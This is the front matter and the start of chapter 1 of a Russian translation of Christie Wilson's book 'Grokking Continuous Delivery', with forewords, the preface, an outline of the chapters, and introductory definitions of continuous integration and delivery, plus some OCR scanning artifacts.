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Моей дочери Александре -
самой важной для меня «доставке»1 ! 

1 Непереводимая игра слов. Delivery (англ.) означает и доставку, и рождение ребенка. - При

меч. ред. 
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Когда мы с Дэвидом Фарли (David Farley) писали книгу «Continuous Delivery: ReliaЫe 
Software Releases through Build, Test, and Deployment Automation» (Addison-Wesley, 
20 1 0)1, то благодаря многолетнему применению описанных в ней принципов мы 
знали, что предлагаем современный, целостный подход к доставке программного 
обеспечения, дающий существенные преимущества командам и компаниям, которые 
его используют. Многочисленные исследования (в том числе то, в котором я при
нимал участие под руководством доктора Николь Форсгрен (Dr. Nicole Forsgren), -
о нем рассказывается в главах 8 и 10 этой книги) показали, что применение такого 
подхода приводит к повышению качества и стабильности разработки ПО, а также 
к более оперативной его доставке. 

Невзирая на то что непрерывная интеграция и непрерывная доставка (continuous 
integration/continuous delivery, сокращенно CI/CD) сегодня считаются стандартной 

практикой, их по-прежнему на удивление трудно внедрить и правильно реализовать. 
Все еще слишком много команд (и пользователей!) сталкиваются с тем, что релизы 
выходят редко и с высоким риском, по вечерам или в выходные дни; случаются 
плановые и внеплановые простои, откаты и проблемы с производительностью, 
работоспособностью и безопасностью. Всего этого можно избежать, но нужны по
стоянные инвестиции в команды, инструменты и корпоративную культуру. 

Важно отметить, что многие новички в нашей сфере не знакомы с основопо
лагающими методиками и способами их применения. Книга «Грокаем Continuous 
Delivery» отлично восполняет этот пробел. Кристи Уилсон, эксперт в области непре
рывной доставки, возглавляющая в компании Google Сl/СD-проект Tekton с откры
тым исходным кодом, написала всеобъемлющее, ясное и подробное руководство, 
в котором тщательно разобраны нюансы технологии и реализации современной 
доставки программных продуктов. Кристи не только рассказывает о принципах 
и их применении, но и наглядно показывает, почему они важны, а также приводит 

1 ФарлиД., Хамбл Дж. «Непрерывное развертывание ПО. Автоматизация процессов сборки, 
тестирования и внедрения новых версий». 
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пошаговые решения самых сложных проблем, с которыми, по моим наблюдениям, 
сталкиваются многие команды, например итеративная разработка функций и работа 
с унаследованным кодом. 

Я надеюсь, что эта книга займет достойное место в списке пособий для новичков 
в каждой команде разработчиков. Она также станет весьма полезным руковод
ством для более опытных инженеров, осваивающих новый для них стиль работы. 
Я благодарен Кристи за создание источника информации, который, без сомнения, 
поможет лучше понять, как правильно реализовать современный процесс доставки 
программного обеспечения на благо всей нашей отрасли и широкой общественно
сти - им, в конечном итоге, мы и служим. 

- Джез Хамбл (Jez НитЫе) 
соавтор книг «Continuous Delivery», 

«The DevOps Handbook»1 и «Accelerate!»2 

Прелесть программ в том, что со временем их можно улучшать. Но в этом и их про
клятие - мы, по сути, все время что-то меняем, потому что можем это изменить. 
Неустанное стремление к внедрению новых функций и другим улучшениям приво
дит к необходимости максимально быстрой интеграции изменений, их тестирования 
и доставки пользователям. 

Кристи Уилсон живет этим процессом и наблюдает за ним с разных сторон, и она 
написала книгу о том, как командам разработчиков получить необходимое ускоре
ние. Действительно, команда, способная на ускоренную разработку и внедрившая 
высокую степень автоматизации, получает конкурентное преимущество. Такие 
команды не только со временем завоевывают значительную часть рынка - в них 
выше моральный дух и ниже уровень текучки персонала. Ведь быть продуктивным 
приятно !  

Бытует заблуждение, что более медленные процессы, в которых, возможно, раз
вертыванию что-то препятствует, являются более безопасными или надежными. 
Многие команды не любят перемены и поэтому выпускают изменения, например, 
раз в квартал. У такого подхода есть два серьезных недостатка. Во-первых, сложная 
задача интеграции большого количества изменений в этом случае откладывается 
до самого конца разработки, но если изменений, которые нужно интегрировать 
с момента последнего выпуска, накапливается много, их внедрение чревато сбоями 
и большими задержками. Во-вторых, низкая скорость затрудняет быстрое исправле
ние проблем безопасности, что критически важно для большинства команд. Подход, 
представленный в этой книге, основан на непрерывных (небольших) интеграциях, 
позволяющих быстро получать обратную связь по возникающим проблемам и эф
фективно вносить исправления безопасности. 

За последние несколько лет внимание к проблемам безопасности резко возросло, 
особенно в связи с «атаками через цепочки поставок» (supply chain attacks) .  В совре-

1 Ким Дж" Дебуа П" Уиллис Дж. и Хамбл Дж. «Руководство по DevOps». 
' Форсгрен Н" Ким Дж. и Хамбл Дж. «Ускоряйся ! »  
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менное ПО входят компоненты из различных источников - других команд, других 
компаний - и компоненты с открытым исходным кодом. Оно запросто может 
состоять из тысячи частей, и все их необходимо интегрировать вместе. Однако это 
требует совершенно нового уровня автоматизации: нам нужно знать все исходные 
данные, откуда они взялись и как они совместно использовались. Книга Кристи -
одна из первых, в которой освещаются эти вопросы и рассказывается, как повысить 
уровень безопасности систем. 

И наконец, несмотря на то что в рассматриваемой области существует огром
ное количество инструментов и опций, эта книга отлично описывает ее ключевые 
концепции и цели,  одновременно приводя практические примеры и возможные 
альтернативы. 

Для меня эта книга стала настоящим глотком свежего воздуха; надеюсь, что она 
понравится и вам. 

- Эрик Брюэр (Eric Brewer ), 
вице-президент по инфраструктуре 

и fеl/оw-разработчик1 в компании Google 

1 Fellow - высшая ступень инженерного пути развития карьеры, например заслуженный 
разработчик и т. д. По степени влиятельности соответствует высшему руководству орга
низации. - Примеч. ред. 
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Программирование увлекло меня с того самого момента, как я узнала о его суще
ствовании. Я помню, как (примерно 300 лет назад) друг рассказал мне о программе 
игры в шахматы, которую он написал; хотя я совершенно не понимала, о чем он гово
рит, я осознала, что (а) я никогда не задумывалась о том, как работают компьютеры, 
и (б) теперь мне совершенно необходимо узнать об этом как можно больше. То, что 
случилось дальше, иногда было удивительно, а иногда приводило в замешательство 
(«переменные подобны почтовому ящику» - это сравнение для меня теперь полно 
смысла, но сначала оно просто сразу вылетело у меня из головы) .  А после первого 
урока по Turbo Pascal в старших классах и множества самоучителей по Java я влипла 
окончательно. 

Хотя программирование было увлекательным само по себе, процессы организа
ции разработки заинтриговали меня едва ли не больше. На протяжении по крайней 
мере половины своей карьеры я с разочарованием замечала, как мало внимания 
им уделяется, несмотря на то что они чрезвычайно важны не только для качества 
создаваемых программ, но и для благополучия и эффективности создателей этих 
программ. Более того, я была обескуражена, когда поняла, что сами разработчики 
и менеджеры не считают такое отношение проблемой. Часто оно диктовалось мне
нием, что выдавать код как можно быстрее - лучший способ окупить вложения 
по максимуму. 

По иронии судьбы время и исследования показали, что скорость действительно 
определяет успех, но чтобы усилия разработчиков на самом деле были эффектив
ными, а их работа - стабильной, скорость должна сочетаться с безопасностью. 
Максимальная скорость и безопасность программной разработки составляют основу 
непрерывной доставки, именно поэтому данная концепция и соответствующие ме
тодики оказались мне близки. Тем не менее до недавнего времени я ничего не знала 
о непрерывной доставке. 

В первую очередь меня привлекли тесты и автоматизация. Я до сих пор помню 
чувство свободы, которое я испытала, когда познакомилась с тестами,  и особенно 
с разработкой через тестирование; тогда я поняла, что могу проверять програм-
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мы, которые пишу, в процессе их создания. Казалось, что у меня с плеч свалился 
огромный камень, когда я смогла проверять свою работу прямо по ходу дела, - так 
я избавилась от назойливого внутреннего голоса, который иногда убеждал меня, 
что я не знаю, что делаю, и что ничего из того, что я понаписала, работать не будет. 
Инструменты и автоматизация также помогали мне чувствовать себя уверенно: 
они брали на себя очень ответственные задачи, которые поначалу пугали. Казалось, 
будто рядом с тобой сидит друг и подсказывает тебе, что делать. 

Концепция непрерывной доставки берет все лучшее из тестирования и автома
тизации, которые всегда помогали мне в моей работе, и формирует набор практик, 
дающих возможность любому разработчику усовершенствовать свои методы. Я хочу 
помочь всем, особенно тем, кто иногда сомневается в себе или борется со страхом 
сделать что-то не то (и я думаю, подобные чувства хотя бы иногда испытывает 
большинство из нас), - ощутить ту же свободу, самостоятельность и уверенность 

в себе, что и я, когда написала свой первый тест. 
Спасибо, что нашли время прочитать эту книгу. Я надеюсь, что по крайней мере 

вы сделаете правильный вывод: большинство багов и ошибок в коде практически 
не имеют отношения к самому коду (и уж точно не имеют отношения к человеку, 
который его написал). На самом деле их причины лежат в процессах разработки, 
которым просто нужно уделить немного больше внимания, и тогда усилия, при
ложенные к обновлению и исправлению этих процессов, окажутся не напрасны. 
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Задача книги - стать недостающим руководством по началу работы с непрерыв
ной доставкой и ее эффективному применению. Книга описывает практики, со
ставляющие непрерывную доставку, и рассказывает о необходимых компонентах 
автоматизации, которая поддерживает эти практики. Подобные знания приходят 
постепенно, с годами упорного труда. Надеюсь, что моя книга поможет сократить 
этот путь и вам не придется получать их на собственном опыте! 

Для кого эта книга 
Книга «Грокаем Continuous Delivery» предназначена для всех, кто день ото дня 
занимается созданием программного обеспечения. Чтобы польза от книги была 
максимальной, вы должны быть знакомы с основами написания shеll-скриптов, 
владеть хотя бы одним языком программирования и иметь опыт тестирования. 
Вам также понадобится опыт работы с системой контроля версий, НТ ТР-серверами 
и контейнерами. Однако глубоко разбираться во всех этих темах не обязательно; вы 
сможете изучить их по ходу чтения, если понадобится. 

Структура и план книги 
Книга состоит из 1 3  глав, разбитых на четыре части. Первые две главы представляют 
собой введение в концепцию непрерывной доставки и содержат список терминов, 
которые вам понадобятся на протяжении всей книги: 
• В главе 1 дается определение непрерывной доставки и объясняется ее связь со 

смежными понятиями, такими как непрерывная интеграция и непрерывное раз
вертывание. 

• В главе 2 перечислены основные элементы автоматизации непрерывной достав
ки, а также дана терминология, используемая в остальных частях книги. 
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Часть 2 посвящена процессам, составляющим непрерывную интеграцию и необхо
димым для непрерывной доставки: 

• Глава 3 поясняет жизненно важную роль системы контроля версий в процессе 
непрерывной доставки; без этой системы непрерывная доставка невозможна. 

• В главе 4 рассматривается эффективный, но редко обсуждаемый элемент не
прерывной интеграции: статический анализ, в частности линтинг, и то, как его 
применять к унаследованному коду. 

• Главы 5 и 6 посвящены тестированию - важнейшему элементу проверки в рам
ках непрерывной интеграции. Мы не будем учить вас тестировать (этому посвя
щено множество других книг), а сосредоточимся на самых частых проблемах, 
которые со временем накапливаются в наборах тестов, в частности на неста
бильных и медленных тестах. 

• В главе 7 рассматривается жизненный цикл изменений кода и исследуются все 
места, где могут возникнуть баги, а также способы настройки автоматизации для 
обнаружения и устранения этих багов по мере их появления. 

В части 3 мы переходим от верификации изменений, вносимых в продукты с по
мощью непрерывной интеграции, к выпуску релизов: 

• В главе 8 через призму метрик DORA рассматривается, как использование си
стемы контроля версий влияет на скорость выпуска релизов. 

• В главе 9 продемонстрировано, как создавать артефакты безопасно, применяя 
принципы, определенные стандартом SLSA, и объясняется важность версиони
рования. 

• В главе 10 мы возвращаемся к метрикам DORA, основное внимание уделяя ме
трикам стабильности, и рассматриваем методы развертывания, которые можно 
использовать для повышения стабильности продукта. 

В части 4 мы рассмотрим концепции, относящиеся к автоматизации непрерывной 
доставки в целом: 

• В главе 1 1  мы вернемся к элементам непрерывной доставки, которые изучались 
в предыдущих главах, и рассмотрим, как эффективно применять эти элементы 
в проектах, реализуемых с нуля, и в унаследованных проектах. 

• В главе 1 2  основное внимание уделено «рабочей лошадке», часто лежащей в ос
нове любой автоматизации непрерывной доставки: shеll-скриптам. Вы увидите, 
как применять к скриптам, обеспечивающим безопасную и корректную доставку 
продукта, те же лучшие практики, что и к остальной части кода. 

• В главе 1 3  представлена общая структура автоматизированных пайплайнов, 
которые необходимы для поддержки непрерывной доставки, и моделируются 
функции систем автоматизации непрерывной доставки, обеспечивающие их 
эффективность. 

В приложениях в конце книги описаны особенности наиболее распространенных на 
момент написания книги систем непрерывной доставки и контроля версий. 
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Я рекомендую начать с чтения главы 1; такие термины, как непрерывная достав
ка, в реальной жизни используются непоследовательно, и понимание их контекста 
для настоящей книги поможет вам лучше разобраться в остальных главах. 

Удобнее всего осваивать материал, читая части 2 и 3 по порядку, поскольку все 
последующие главы основываются одна на другой. В частности, предполагается, 
что при переходе к части 3 вам известны практики непрерывной интеграции, опи
санные в части 2. Тем не менее вы можете изучать главы по своему усмотрению, так 
как в каждой главе вы найдете ссылки на соответствующий материал других глав. 

Часть 4 - это продвинутый раздел книги. Каждая глава в ней ссылается на кон
цепции, рассмотренные ранее, а некоторые материалы (например, глава 12) полезнее 
будет изучить, уже приобретя некоторый опыт работы с системами непрерывной 
доставки. 

Форум l iveBook 
Приобретая книгу «Грокаем Continuous Delivery)), в ы  получаете бесплатный доступ 
к веб-форуму издательства Manning (на английском языке), на котором можно 
оставлять комментарии о книге, задавать технические вопросы и получать помощь 
от автора и других пользователей. Чтобы получить доступ к форуму, откройте стра
ницу https ://l ivebook. manning .com/book/grokking-continuous-delivery/discussion. Ин
формацию о форумах Manning и правилах поведения на них см. на https://livebook. 
manning .com/discussion. 

В рамках своих обязательств перед читателями издательство Manning предостав
ляет ресурс для содержательного общения читателей и авторов. Эти обязательства 
не подразумевают конкретную степень участия автора, которое остается доброволь
ным (и неоплачиваемым). Задавайте автору хорошие вопросы, чтобы он не терял 
интереса к происходящему! Форум и архивы обсуждений доступны на веб-сайте 
издательства, пока книга продолжает издаваться. 
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ботчик программного обеспечения. Она часто высту
пает с докладами по непрерывной интеграции и не
прерывной доставке (CI/CD) и смежным тематикам 
на таких конференциях, как Kubecon, OSCON, QCon, 
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с разработки мобильных веб-приложений, работая над 
бэкенд-сервисами для АЛА-игр, где она писала отло
женные функции, которые начинали использоваться все 
вместе во время большого запуска. Для этого она созда
ла системы нагрузочного и системного тестирования. 

Имея опыт, полученный в компаниях, которые работали со сложными средами 
развертывания, системами с высоким уровнем критичности и скачкообразным 
трафиком, она перешла на работу в Google, где создавала внутренние инструменты 
для повышения производительности AppEngine, запустила Knative и участвовала 
в создании Tekton, облачной платформы CI/CD на основе Kubernetes (в настоящее 
время ее используют более 65 компаний).  

От издательства 
Ваши замечания, предложения, вопросы отправляйте по адресу comp@piter.com 
(издательство «Питер», компьютерная редакция) .  

Мы будем рады узнать ваше мнение! 
На веб-сайте издательства www. piter.com вы найдете подробную информацию 

о наших книгах. 
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Часть 1 
Что та кое неп рерывная доставка 

•••••••••••••••••••••••••••••••••••••••• ! 
Добро пожаловать в «Грокаем Continuous Delivery»! Первые две главы познакомят 
вас с принципом непрерывной доставки (CD, Continuous Delivery) и терминологией, 
необходимой для освоения остальной части книги. 

Глава 1 дает определение непрерывной доставки и объясняет ее связь со смежны
ми понятиями, такими как непрерывная интеграция и непрерывное развертьtвание. 

В главе 2 представлены основные элементы автоматизации процесса непрерыв
ной доставки, а также терминология, используемая в остальной части книги . 

• • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • 
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1 Добро пожаловать 
в «Грокаем Conti nuous Del ivery» 

• •••••••••••••••••••••••••••••••••••••••• 

В зтой гnа ве 

./ Почему важна непрерывная доставка 

./ История разв ит ия технолог ий непрерывно й доставки, 

непрерывно й интеграц ии, непрерывного развертыва

н ия и Cl/CD 

./ К какому ПО можно пр именять технолог ию непрерыв

но й доставк и и как это прав ильно делать 

./ Условия непрерывно й доставк и, а именно: поддержи

вать ПО всегда готовым к доставке и осуществлять его 

доставку как можно проще 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

Приветствую вас на страницах моей книги! Я очень рада, что вы решили не только 
узнать о непрерывной доставке, но и как следует разобраться в ней. Эта книга по
может вам использовать все преимущества непрерывной доставки в своей работе. 
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Нужна ли вам непрерывная доставка 
Первый вопрос, который вы, возможно, себе задаете, - стоит ли тратить время на 
изучение непрерывной доставки, и даже если да, стоит ли применять ее в проектах. 
Ответ - стоит, если: 

• вы профессионально занимаетесь разработкой программного обеспечения; 

• в вашем проекте участвует больше одного человека. 

Если справедливы оба этих условия, вам непременно следует вложиться в непрерыв
ную доставку. Даже если выполняется только одно из них (например, вы работаете 
над проектом с друзьями ради интереса или разрабатываете профессиональное ПО 
в одиночку), вы не пожалеете об использовании непрерывной доставки. 

Но ведь вы даже не спросили, чем я занимаюсь. Что, если я работаю над драйве
рами ядра, прошивкой или микросервисами? Вы уверены, что мне нужна непре
рывная доставка? - спросите вы. 

Это неважно! Какой бы продукт вы ни создава
ли, принципы, изложенные в этой книге, будут 
вам полезны. В их основе лежат идеи, которые 
сформировались еще на заре программной раз
работки. Это не модные тренды, которые со 
временем исчезают или теряют популярность; 
это основы, которые останутся неизменными, 
независимо от того, создаете ли вы микросер
висы, монолитные приложения, распределенные 
сервисы на основе контейнеров или что-то еще. 

В этой книге рассматриваются основные 
принципы непрерывной доставки и приводят
ся примеры их практического использования. 
Конкретные детали реализации в проекте на-
верняка будут уникальными, и возможно, вы не 

Но мне не нужно ничего 

развертывать! 

Совершенно верно! Развер-
тывание и связанная с ним 
автоматизация применимы 
не ко всем видам ПО, од-
нако непрерывная достав
ка - это гораздо больше, 
чем просто развертывание. 
Мы поговорим об этом 
позже в этой главе. 

найдете здесь их точного описания, но что вы точно найдете, так это компоненты, 
необходимые для автоматизации непрерывной доставки, и принципы, соблюдая 
которые вы добьетесь наибольшего успеха. 
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Зачем нужна непреры вная доставка 
Итак, что же это за штука такая� Начну с того, что непрерывная доставка (CD) озна
чает для меня и почему я считаю ее такой важной: 

Непрерывная доставка - это один из процессов современной 
профессиональной проrраммной разработки. 

Разберем это определение по частям: 

• Современная - профессиональная разработка 
существует гораздо дольше, чем непрерыв
ная доставка, хотя ребята, которые работали 
с перфокартами, были бы в восторге от CD! 
Одна из причин, по которой мы можем сейчас 
использовать непрерывную доставку, а тогда 
не могли, заключается в том, что CD отнимает 
много ресурсов процессора. Непрерывная до-
ставка требует выполнения большого объема 
кода! 

Я даже не могу себе пред
ставить, сколько перфо
карт потребовалось бы 
для описания типичного 
рабочего процесса CD! 

• Профессиональная - если вы пишете программы для интереса, то вопрос 
о том, стоит ли вам возиться с непрерывной доставкой, остается открытым. 
Как правило, ее используют, когда действительно важно, чтобы программный 
продукт работал. Чем важнее создаваемое ПО, тем тщательнее следует про
думывать непрерывную доставку. Кроме того, говоря о профессиональной 
разработке, мы вряд ли будем иметь в виду одного программиста, самосто
ятельно пишущего код. Обычно над продуктом работает несколько человек, 
а иногда даже сотни. 

• Программная разработка - в других инженерных областях существуют своды 
стандартов и сертификатов, которые в разаботке, как правило, отсутствуют. 
Итак, проще говоря, программная разработка - это написание программ. Когда 
мы добавляем слово «профессиональная», мы имеем в виду профессиональное 
занятие разработкой ПО. 

• Процесс - профессиональная разработка требует соблюдения определенных 
подходов, чтобы написанный нами код делал то, что мы задумали. Эти про
цессы касаются не столько способов, которыми отдельно взятый программист 
пишет код (хотя и это важно), сколько способности этого человека сотрудни
чать с другими разработчиками, чтобы создавать продукт профессионального 
уровня. 

Непрерывная доставка - это совокупность процессов, которые 
необходимы rруппе профессиональных разработчиков, чтобы создавать 
п роrраммный продукт, соответствующий исходным цепям ero создателей. 
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Подождите, вы хотите сказать, что CD означает «непрерывная 

доставка»? Я думал, что это непрерывное развертывание! 

Некоторые действительно расшифровывают эту аббревиатуру именно так 
(continuous deployment), и тот факт, что оба термина появились примерно 
в одно и то же время, вносит большую путаницу. В большинстве извест
ных мне публикаций (не rоворя уже о сообществе Continuous Delivery 
Foundation!) авторы предпочитают употреблять аббревиатуру CD для обо
значения непрерывной доставки, поэтому в этой книrе мы будем делать 
то же самое. 

Непреры вная доставка 
Непрерывная доставка - это совокупность процессов, которые 
необходимы rруппе профессиональных разработчиков, чтобы создавать 
проrраммный продукт, соответствующий исходным целям ero создателей. 

Мое определение отражает то, что я считаю действительно крутым функционалом 
CD, но оно слишком далеко от стандартной формулировки, которую вы можете 
встретить. Посмотрим на определение, данное орrанизацией Continuous Delivery 
Foundation (CDF) (http ://mng . bz/YGXN):  

Практика проrраммной разработки, при которой команды выпускают 
релизы изменений ПО для пользователей безопасным, быстрым 
и устойчивым образом блаrодаря: 

способности осуществлять выпуски в любое время; 

автоматизации выпуска релизов. 

Заметьте, что CD подразумевает два основных 
условия. Вы занимаетесь непрерывной достав
кой, если: 

• выпускаете релизы ПО безопасно и в любое 
время; 

• делаете выпуск максимально просто, бук
вально одним нажатием кнопки. 

В этой книrе подробно описаны необходимые 
действия и средства автоматизации, которые 
помогут вам добиться этих двух целей, а именно: 

• Чтобы выпускать изменения безопасно и в лю
бое время, ПО должно всеrда находиться в со
стоянии готовности к релизу (в состоянии 

Важным принципиальным 
изменением, произошед
шим в CD по сравнению 
с CI, является переопре
деление значения фразы 
«функция rотова». В CD 
«готова» означает «Вы
пущена» (то есть осущест
влен релиз). А процесс 
перехода от реализации 
изменений к выпуску 
автоматизирован, прост 
и быстр. 
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История «непрерывных» терминов 

1994: термин «Непрерывная интегrюция» 
(сопtiпиоиs iпtegratioп) вводится в кн иге rреu
ди Буча (Grady воосh) Object-orieпted Aпa lysis 
апd  Desigп with Appl icatioпs 1 (Addisoп-wesley) . 

1999: методика непрерывноu и нтеграции 
впервые описана в книге кента Бека (Кепt 
весk) Extreтe Prograттiпg Explaiпed' (Addisoп
Wesley) . 

2007: дальнеuшее развитие методика непре
рывной интеграции получила в книге пола 
дюваля (Раи !  м.  Dиva l l) Сопtiпиоиs lпtegratioп' 
(Addisoп-wesley) . 

2007: термин «непрерывное ре.ввертывание» 
определен в тоu же книге дюваля. 

2009: принципы непрерывного развертывания 
популярно описаны в блоге тимоти Фитца 
(Tiтothy Fitz) (http://тпg. bz/2птw) . 

2010: методика непрерывной доставки, вдох
новленная аgi lе-манифестом', описана в книге 
сопtiпиоиs del ivery' джеза хамбла Oez н и тЬlе) 
и Дэвида Фарли (David Farley) (Addisoп-wesley). 

2014: первая статья, да ющая определе-
ние технологии Cl/CD, тest Аиtотаtiоп апd  
сопtiпиоиs lпtegratioп & Deployтeпt (Cl/CD) 
(«Автоматизация тест ирования и непрерыв
ная и нтеграция и развертывание (Cl/CD) ») ,  
опубликована сообщест вом Ravel lo 
(http://тпg. bz/1 opR) .  

2016: в Википедию добавлена статья «Cl/CD» 
(http ://тпg .bz/J2RQ) .  

Вы, должно быть, думаете: «О'кей, 
Кристи, это все хорошо и замечатель
но, но что же на самом деле означает 
доставлять»? А непрерывное развер
тывание? И что такое Cl!CD? 

Мы действительно вынуждены 
оперировать множеством терминов! 
И что еще хуже, разные люди ис
пользуют их по-разному. В их защиту 
можно сказать одно: это происходит 
потому, что некоторые из таких терми
нов даже не имеют определений! 

Остановимся вкратце на эволю
ции этих терминов, чтобы лучше 
понять их значение. Непрерывная 
интеграция, непрерывная доставка 
и непрерывное развертывание - это 
термины, которые были созданы на
меренно (или, в случае непрерывной 
интеграции, эволюционировали) ,  а их 
авторы придавали им совершенно 
конкретные значения. 

CI/CD - особый случай: похоже, 
этот термин никто не создавал и он 
появился на свет только потому, что 
люди, говорившие одновременно 
обо всех «непрерывных» операциях, 
нуждались в кратком термине (при 
этом полная аббревиатура CI/CD/CD 
почему-то не прижилась ! ) .  

Термин CI/CD в том виде, в каком 
он используется сегодня, означает ин
струменты и средства автоматизации, 
применяемые во всех непрерывных 
операциях - интеграции, доставке 
и развертывании. 

' Буч Г. и др. «Объектно-ориентированный анализ и проектирование с примерами 
приложений» .  

2 Бек К. «Экстремальное программирование». Санкт-Петербург, издательство «Питер» .  

3 Дюваль Пол М. и др.  «Непрерывная интеграция: улучшение качества программного 
обеспечения и снижение риска» .  

' Манифест разработки программного обеспечения по методологии agile. - Примеч. пер. 

5 Хамбл Д. ,  Фарли Д. « Непрерывное развертывание ПО. Автоматизация процессов 

сборки, тестирования и внедрения новых версий».  
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релиза). В этом нам поможет не
прерывная интеграция ( coпtinuous 
integration, CI). 

• После проверки изменений метода
ми CI процесс выпуска изменений 
должен проходить автоматически 
и его должно быть легко повторить. 

Прежде чем я начну подробно расска
зывать о том, как достичь этих целей, 
разберемся в терминологии. 

Непрерывная доставка - это на
бор целей, к которым мы стремим
ся; способ их достижения может 
меняться от проекта к проекту. 
Тем не менее достигать этих целей 
наиболее эффективно помогает 
определенная последовательность 
действий, и именно им посвящена 
моя книга! 

И нтеграция 
Непрерывная интеграция (С9пtiпиоиs Iпtegratioп, С!) - старейшее из понятий, 
с которыми мы познакомились, однако это по-прежнему ключевой элемент непре
рывной доставки. Начнем с простого - рассмотрим пока только интеграцию. 

Что значит интегрировать программу? На самом деле часть фразы опущена: ин
тегрировать объект нужно во что-то другое. В разработке интегрируемый объект -
это изменение программного кода. Когда мы говорим об интеграции программного 
обеспечения, фактически мы имеем в виду 

интеграцию изменений кода в существующее программное обеспечение. 

Это именно то, чем в основном каждый день 
занимаются разработчики: изменяют код суще
ствующих частей программы. Этот процесс осо
бенно интересен в команде: ее члены постоянно 
вносят изменения в код, и зачастую в одну и ту 
же часть продукта. Объединение этих изменений 
в единое целое и есть интеграция. 

Интеграция программного обеспечения -
это объединение изменений кода, 
сделанных несколькими людьми. 

Иногда вам приходит-
ся создавать программу 
с нуля, но после первой 
успешной компиляции вы 
раз за разом будете инте
грировать новые измене
ния в уже существующий 
программный продукт. 

Как вы, вероятно, знаете по своему опыту, иногда этот процесс действительно идет 
криво. Например, когда я изменяю ту же строку кода, что и вы, и мы пытаемся объ
единить наши изменения, возникает конфликт и нам приходится вручную решать, 
как их интегрировать. 

И еще одна маленькая деталь. Когда мы интегрируем изменения кода, мы не толь
ко просто соединяем их вместе; мы еще и проверяем работоспособность измененного 
кода. Можно сказать, что в аббревиатуре CI не хватает буквы V (Verification) -
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верификация! Верификация уже заложена в процесс интеграции, поэтому, говоря 
об интеграции ПО, мы имеем в виду следующее: 

Интеграция программного обеспечения - это объединение изменений 
кода, сделанных несколькими людьми, и проверка того, что получившийся 
код делает именно то, для чего он предназначен. 

Кого волнуют все эти определения? Покажите мне уже наконец код! 

Трудно выполнять свою работу последовательно и методично, если ей даже 
нельзя дать четкое определение. Уделить время тому, чтобы прийти к общему 
пониманию (через определения), а затем вернуться к основным принципам -
это самый эффективный способ подняться на новый уровень! 

Непрерывная и нтеграция 
Посмотрим, как придать интеграции «непрерыв
ностЬ», на примере, не связанном с разработкой. 
Холли, шеф-повар, готовит соус для макарон . 
Она начинает с подбора продуктов: лука, чесно
ка, помидоров, специй. Чтобы приготовить соус, 
ей нужно интегрировать эти продукты вместе 
в правильном порядке и в нужном количестве. 

Для этого каждый раз, когда она добавляет 
новый ингредиент, она быстро пробует соус 
на вкус. Исходя из вкуса, она может добавить 
больше какого-то продукта либо понимает, что 
забыла какой-то нужный ингредиент. 

Дегустация помогает ей менять блюдо, про-
водя его через серию интеграций. Интеграция 
в данном случае подразумевает две вещи: 

• объединение ингредиентов; 

• проверку для подтверждения результата. 

И это именно то, что означает слово «интеграция» в словосочетании непрерывная 
интеграция: объединение изменений кода, а также проверка его работоспособности, 
то есть объединение и верификация. 

Холли повторяет эти шаги во время готовки. Если бы она попробовала соус толь
ко в конце, она гораздо меньше контролировала бы процесс и было бы уже поздно 
вносить необходимые изменения. Именно здесь вступает в дело «непрерывносты> .  
Вы должны интегрировать (объединять и верифицировать) свои изменения так 
часто, как только можете, и делать это как можно быстрее. 
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А как часто вы можете объединять и верифицировать программный продукт? 
Каждый раз, как только вы внесете изменения ! 

Непрерывная интеrрация - это процесс, при котором объединение 
изменений кода происходит постоянно и каждое изменение проверяется 
при внесении. 

Объединение изменений кода означает, что разработчики, использующие непре
рывную интеграцию, фиксируют и переносят код в общую систему контроля версий 
каждый раз, когда вносят изменения, и проверяют их корректную работу, применяя 
автоматические средства верификации, такие как тесты и линтинг1 • 

Автоматическая верификация? Линтинг? Не волнуйтесь, если вы не знаете, 
что это, эта книга поможет вам разобраться ! Позже мы рассмотрим, как создавать 
автоматические проверки, благодаря которым работает непрерывная интеграция. 

Что мы доставляем 
От непрерывной интеграции мы переходим к не
прерывной доставке, и для этого нужно вернуть
ся немного назад. Почти в каждом определении, 
которое мы рассматриваем, упоминается достав
ка какой-то программы (например, я собираюсь 
начать рассказ об интеграции и доставке изме
нений в программу) . Неплохо бы убедиться, что 
мы все имеем в виду одно и то же, когда говорим 
о программах (software) , ведь в зависимости от 
проекта этот термин может обозначать совер
шенно разные вещи. 

Доставляемые программы могут иметь раз
личные формы (интеграция и доставка для каж
дой из них тоже будут проходить по-разному) : 

• Библиотека - если программа ничего не де
лает сама по себе, а предназначена только для 
использования в составе другого ПО, то это, 
скорее всего, библиотека. 

• Двоичный файл - если программа предназна
чена для выполнения какой-то задачи, веро
ятно, это двоичный исполняемый файл. Это 
может быть сервис, или приложение, или ин-

� Словарик 
Термин «программное 
обеспечение» (software) 
возник в противопо
ложность термину «ап
паратное обеспечение» 
(hardware) .  Аппаратное 
обеспечение - это соб-
ственно физические части 
компьютеров. Мы про
изводим действия с эти
ми частями, снабжая их 
инструкциями. Инструк
ции могут быть встроены 
непосредственно в аппа
ратное обеспечение или 
переданы ему во время 
работы с помощью про
граммного обеспечения. 

струмент, который выполняет определенные действия и затем завершает работу, 
или приложение для мобильного устройства, например планшета или телефона. 

• Конфигурация - это понятие относится к информации, которую можно пере
дать в двоичный файл, чтобы изменить его работу без перекомпилирования. 

1 Линтинг - проверка кода на соответствие стандартам. - Примеч. пер. 
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Как правило, оно обозначает средства, доступные системному администратору 
для внесения изменений в работающее ПО. 

• Образ - образы контейнеров представляют собой особый тип двоичных фай
лов, ставший чрезвычайно популярным форматом совместного использования 
и распространения сервисов вместе с их конфигурацией, чтобы они могли вы
полняться независимо от операционной системы. 

• Сервис - как правило, сервисы - это двоичные файлы, которые постоянно 
находятся в рабочем состоянии, ожидая запросов, на которые они отвечают, 
выполняя какие-либо действия или возвращая информацию. Иногда их также 
называют приложениями. 

На разных этапах карьеры вы можете работать с отдельными видами программ или 
со всеми сразу. Но вне зависимости от того, с какой программой вы будете иметь 
дело, для ее создания вам потребуется осуществлять интеграцию и доставку вно
симых в нее изменений. 

Доста вка 
Что означает доставить изменения в про
грамму, зависит от того, какой программный 
продукт вы создаете, кто его использует и как. 
Обычно доставка изменений имеет отноше
ние либо только к одному из процессов сбор
ки, релиза и развертывания ПО, либо сразу 
ко всем: 

• Сборка - ряд действий, направленных на 
получение кода (включая его изменения) 
и преобразование его в пригодную для ис
пользования форму. Обычно это означает 
